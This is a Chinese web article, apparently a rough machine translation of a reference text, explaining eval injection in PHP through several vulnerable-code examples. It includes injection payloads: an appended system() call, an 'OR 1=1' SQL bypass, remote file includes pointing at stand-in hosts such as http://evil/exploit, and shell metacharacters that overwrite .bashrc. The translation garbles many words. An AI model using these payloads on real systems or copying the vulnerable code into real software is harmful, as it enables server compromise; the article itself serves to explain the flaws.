首页 » 网站推广 » 壳牌php技巧_直接动态代码评估Eval Injection

壳牌php技巧_直接动态代码评估Eval Injection

访客 2024-10-24 0

扫一扫用手机浏览

文章目录 [+]

注1:此攻击将实行与目标Web做事具有相同权限的代码,包括操作系统命令。

注2:Eval注入在可能想要调用大量函数或设置大量变量的处理程序/分派过程中很普遍。

壳牌php技巧_直接动态代码评估Eval Injection

风险成分

壳牌php技巧_直接动态代码评估Eval Injection
(图片来自网络侵删)

TBD

例子

例1

在这个例子中,攻击者可以掌握输入到eval()函数调用的全部或部分输入字符串

$myvar = \公众varname\"大众;$x = $_GET['arg'];eval(\"大众\$myvar = \$x;\"大众);

“eval”的参数将作为PHP进行处理,因此可以附加其他命令。
例如,如果“arg”设置为“10; system(\”/ bin / echo uh-oh \“);”,则会运行附加代码在做事器上实行程序,在本例中为“/ bin / echo ”。

例2

以下是SQL注入的一个示例。
考虑一个网页,个中有两个字段许可用户输入用户名和密码。
该页面后面的代码将天生一个SQL查询,以根据用户名列表检讨密码:

SELECT UserList.UsernameFROM UserListWHEREUserList.Username = 'Username'AND UserList.Password = 'Password'

如果此查询返回恰好一行,则付与访问权限。
但是,如果恶意用户输入有效的用户名并在密码字段中注入了一些有效的代码(“'OR 1 = 1”),则天生的查询将如下所示:

SELECT UserList.UsernameFROM UserListWHEREUserList.Username = 'Username'AND UserList.Password = 'Password' OR '1'='1'

在上面的例子中,“密码”被假定为空缺或一些无害的字符串。
“1 = 1”将始终为真,许多行将被返回,从而许可访问。
SQL解析器将忽略终极的反转逗号。
该技能可能会被改进以许可运行多个语句,乃至可以加载并运行外部程序。

例3

这是一个注入文件的例子。
考虑这个PHP程序(它包含一个由要求指定的文件):

<?php$color = 'blue';if ( isset( $_GET['COLOR'] ) )$color = $_GET['COLOR'];require( $color . '.php' );?><form><select name=\公众COLOR\"大众><option value=\"大众red\"大众>red</option><option value=\"大众blue\"大众>blue</option></select><input type=\公众submit\"大众></form>

开拓职员认为这将确保只能加载blue.php和red.php。
但是任何人都可以轻松地在COLOR中插入任意值,以是可以从文件注入代码:

/vulnerable.php?COLOR=http://evil/exploit - 注入包含漏洞的远程托管文件。

/vulnerable.php?COLOR=C:\ftp\upload\exploit- 注入包含漏洞的上传文件。

/vulnerable.php?COLOR=..\..\..\..\ftp\upload\exploit- 利用路径遍历注入包含漏洞的上传文件。

/vulnerable.php?COLOR=C:\notes.txt%00- 利用空字符的示例,元字符删除.php后缀,许可访问除.php之外的其他文件。
(PHP设置为“magic_quotes_gpc = On”,这是默认设置,可以阻挡这种攻击)

例4

一个大略的URL,演示如何实行此攻击:

http://some-page/any-dir/index.php?page=<?include($s);?>&s=http://malicious-page/cmd.txt?例5

壳牌注射适用于大多数许可软件以编程办法实行命令行的系统。
Shell注入的范例来源是调用system(),StartProcess(),java.lang.Runtime.exec()和类似的API。

考虑下面这个简短的PHP程序,它运行一个名为funnytext的外部程序来更换用户用其他词发送的单词。

<HTML><?phppassthru ( \"大众 /home/user/phpguru/funnytext \"大众. $_GET['USER_INPUT'] );?>

该程序可以以多种办法注入:

`command` will execute command.

$(command) will execute command.

; command will execute command, and output result of command.

| command will execute command, and output result of command.

&& command will execute command, and output result of command.

|| command will execute command, and output result of command.

> /home/user/phpguru/.bashrc will overwrite file .bashrc.

< /home/user/phpguru/.bashrc will send file .bashrc as input to funnytext.

在调用方法之前,PHP供应escapeshellarg()和escapeshellcmd()来实行编码。
但是,建议不要相信这些方法是安全的 - 也会验证/清理输入。

例6

以下代码易受eval()注入攻击,由于它不会清理用户的输入(在这种情形下:“username”)。
该程序只是将这个输入保存在一个txt文件中,然后做事器将实行这个文件而不进行任何验证。
在这种情形下,用户可以插入命令而不是用户名。

例:

<%If not isEmpty(Request( \公众username\公众 ) ) ThenConst ForReading = 1, ForWriting = 2, ForAppending = 8Dim fso, fSet fso = CreateObject(\"大众Scripting.FileSystemObject\"大众)Set f = fso.OpenTextFile(Server.MapPath( \"大众userlog.txt\"大众 ), ForAppending, True)f.Write Request(\"大众username\"大众) & vbCrLff.closeSet f = nothingSet fso = Nothing%><h1>List of logged users:</h1><pre><%Server.Execute( \公众userlog.txt\"大众 )%></pre><%Else%><form><input name=\"大众username\"大众 /><input type=\公众submit\公众 name=\公众submit\公众 /></form><%End If%>

标签:

相关文章

招商蛇口中国房地产龙头企业,未来可期

招商蛇口(股票代码:001979),作为中国房地产企业的领军企业,自成立以来始终秉持“以人为本,追求卓越”的经营理念,致力于打造高...

网站推广 2025-02-18 阅读1 评论0